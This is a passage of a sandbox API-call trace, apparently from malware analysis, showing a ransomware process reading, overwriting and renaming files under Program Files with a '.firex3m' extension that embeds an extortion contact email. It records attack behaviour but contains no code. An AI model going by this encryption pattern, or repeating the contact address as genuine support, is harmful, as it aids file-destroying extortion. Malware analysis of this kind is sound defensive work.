liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.819] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.819] CloseHandle (hObject=0x6e4) returned 1 [0236.819] GetProcessHeap () returned 0x630000 [0236.819] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665580 | out: hHeap=0x630000) returned 1 [0236.819] GetProcessHeap () returned 0x630000 [0236.819] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x630000) returned 1 [0236.819] GetProcessHeap () returned 0x630000 [0236.819] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0236.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x531a40fa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x37ffd20, dwReserved1=0x665318, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5580 [0236.820] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0236.820] Sleep (dwMilliseconds=0x1) [0236.826] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe", len=0x6c | out: pbstr=0x37fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe") returned 1 [0236.826] GetProcessHeap () returned 0x630000 [0236.826] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef4) returned 0x6fe3bb0 [0236.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.showhelp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0236.832] CloseHandle (hObject=0x6d0) returned 1 [0236.833] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.showhelp.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.showhelp.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.833] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6460, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="Common.ShowHelp.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMMON~1.FIR")) returned 0x6d5240 [0236.834] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0236.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.showhelp.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0236.834] GetProcessHeap () returned 0x630000 [0236.834] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6481) returned 0x730ba08 [0236.834] GetProcessHeap () returned 0x630000 [0236.834] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6481) returned 0x71268a0 [0236.835] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.835] ReadFile (in: hFile=0x6d0, lpBuffer=0x730ba08, nNumberOfBytesToRead=0x6460, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesRead=0x37fff0c*=0x6460, lpOverlapped=0x0) returned 1 [0241.114] GetProcessHeap () returned 0x630000 [0241.114] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b298 [0241.114] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.114] WriteFile (in: hFile=0x6d0, lpBuffer=0x71268a0*, nNumberOfBytesToWrite=0x6460, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71268a0*, lpNumberOfBytesWritten=0x37fff0c*=0x6460, lpOverlapped=0x0) returned 1 [0241.115] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.115] WriteFile (in: hFile=0x6d0, lpBuffer=0x712ccff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x712ccff*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.115] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.115] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.115] CloseHandle (hObject=0x6d0) returned 1 [0241.115] GetProcessHeap () returned 0x630000 [0241.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71268a0 | out: hHeap=0x630000) returned 1 [0241.115] GetProcessHeap () returned 0x630000 [0241.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0241.115] GetProcessHeap () returned 0x630000 [0241.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b298 | out: hHeap=0x630000) returned 1 [0241.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0241.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.ShowHelp.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x55aa52f5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6484, dwReserved0=0xc507496, dwReserved1=0x730ba00, cFileName="Common.ShowHelp.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMMON~1.FIR")) returned 0x6d51c0 [0241.116] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0241.116] Sleep (dwMilliseconds=0x1) [0243.077] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileWide.scale-100.png", len=0x8b | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileWide.scale-100.png") returned 1 [0243.077] GetProcessHeap () returned 0x630000 [0243.078] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x543c) returned 0x6fe3bb0 [0243.078] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.080] Sleep (dwMilliseconds=0x1) [0243.114] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png", len=0x7f | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png") returned 1 [0243.114] GetProcessHeap () returned 0x630000 [0243.114] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53c4) returned 0x6fe3bb0 [0243.114] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-64.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.123] Sleep (dwMilliseconds=0x1) [0243.138] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x63 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0243.138] GetProcessHeap () returned 0x630000 [0243.138] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5394) returned 0x6fe3bb0 [0243.138] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.138] Sleep (dwMilliseconds=0x1) [0243.156] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", len=0x7b | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned 1 [0243.156] GetProcessHeap () returned 0x630000 [0243.156] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5358) returned 0x6fe3bb0 [0243.156] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.156] Sleep (dwMilliseconds=0x1) [0243.161] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x67 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0243.161] GetProcessHeap () returned 0x630000 [0243.161] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5348) returned 0x6fe3bb0 [0243.161] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.169] Sleep (dwMilliseconds=0x1) [0243.181] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Solid.png", len=0x7b | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Solid.png") returned 1 [0243.181] GetProcessHeap () returned 0x630000 [0243.181] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52f4) returned 0x6fe3bb0 [0243.181] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Solid.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_selected_solid.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.182] Sleep (dwMilliseconds=0x1) [0243.201] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-24_altform-unplated.png", len=0xa8 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-24_altform-unplated.png") returned 1 [0243.201] GetProcessHeap () returned 0x630000 [0243.201] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52b0) returned 0x6fe3bb0 [0243.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.201] Sleep (dwMilliseconds=0x1) [0243.218] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square71x71Logo.scale-100.png", len=0x93 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square71x71Logo.scale-100.png") returned 1 [0243.218] GetProcessHeap () returned 0x630000 [0243.219] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5278) returned 0x6fe3bb0 [0243.219] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square71x71Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square71x71logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.220] Sleep (dwMilliseconds=0x1) [0243.228] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-256_altform-unplated.png", len=0xa9 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-256_altform-unplated.png") returned 1 [0243.228] GetProcessHeap () returned 0x630000 [0243.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x526c) returned 0x6fe3bb0 [0243.228] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.230] Sleep (dwMilliseconds=0x1) [0243.252] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario2RTL.png", len=0x71 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario2RTL.png") returned 1 [0243.252] GetProcessHeap () returned 0x630000 [0243.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5214) returned 0x6fe3bb0 [0243.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario2RTL.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\herohelp\\scenario2rtl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.257] Sleep (dwMilliseconds=0x1) [0243.278] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle_icon.png", len=0x81 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle_icon.png") returned 1 [0243.278] GetProcessHeap () returned 0x630000 [0243.278] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d8) returned 0x6fe3bb0 [0243.278] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rounded Rectangle_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\rounded rectangle_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.290] Sleep (dwMilliseconds=0x1) [0243.313] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png", len=0x75 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png") returned 1 [0243.313] GetProcessHeap () returned 0x630000 [0243.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5158) returned 0x6fe3bb0 [0243.313] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\dashboarddefaultthumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.320] Sleep (dwMilliseconds=0x1) [0243.337] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\BuilderLogo.png", len=0x7f | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\BuilderLogo.png") returned 1 [0243.337] GetProcessHeap () returned 0x630000 [0243.337] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x513c) returned 0x6fe3bb0 [0243.337] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\BuilderLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast\\contrast-black\\builderlogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.344] Sleep (dwMilliseconds=0x1) [0243.348] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-black.png", len=0x7d | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-black.png") returned 1 [0243.348] GetProcessHeap () returned 0x630000 [0243.348] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50fc) returned 0x6fe3bb0 [0243.348] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-125_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.348] Sleep (dwMilliseconds=0x1) [0243.369] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125.png", len=0x72 | out: pbstr=0x37fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125.png") returned 1 [0243.369] GetProcessHeap () returned 0x630000 [0243.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5080) returned 0x6fe3bb0 [0243.369] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-125.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.369] Sleep (dwMilliseconds=0x1) [0243.392] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-100.png", len=0x72 | out: pbstr=0x37fff7c*="C:\\Program 